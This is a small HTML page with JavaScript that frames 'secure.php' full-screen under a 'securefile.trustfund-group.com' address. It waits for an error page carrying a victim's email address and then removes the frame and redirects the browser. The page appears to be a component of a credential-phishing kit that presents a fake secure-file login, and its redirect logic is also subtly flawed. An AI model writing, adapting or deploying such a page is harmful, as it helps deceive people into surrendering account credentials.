
<script type="text/javascript">

function check(){

  var x = document.getElementById("iframe_id").contentWindow.location.href;
  if (x.includes ("https://securefile.trustfund-group.com/error.php")){
  
  //http://securefile.trustfund-group.com/error.php?mail=test2@gmail.com
  var timeoutId2;
 
     timeoutId2 = setTimeout(function() {
         
          var someIframe = window.parent.document.getElementById('iframe_id');
          someIframe.parentNode.removeChild(window.parent.document.getElementById('iframe_id'));
     
     
         
     	var mail = x.split('?')[1];
        window.location = 'http://' + mail;
    
   
    console.log(x);
    
     }, 2000);
  
}
}
</script>



<iframe src="secure.php" id="iframe_id" onLoad="check();" style="width:100%;height:100%;border:none;display:block;left:0;top:0;position:fixed;"></iframe>

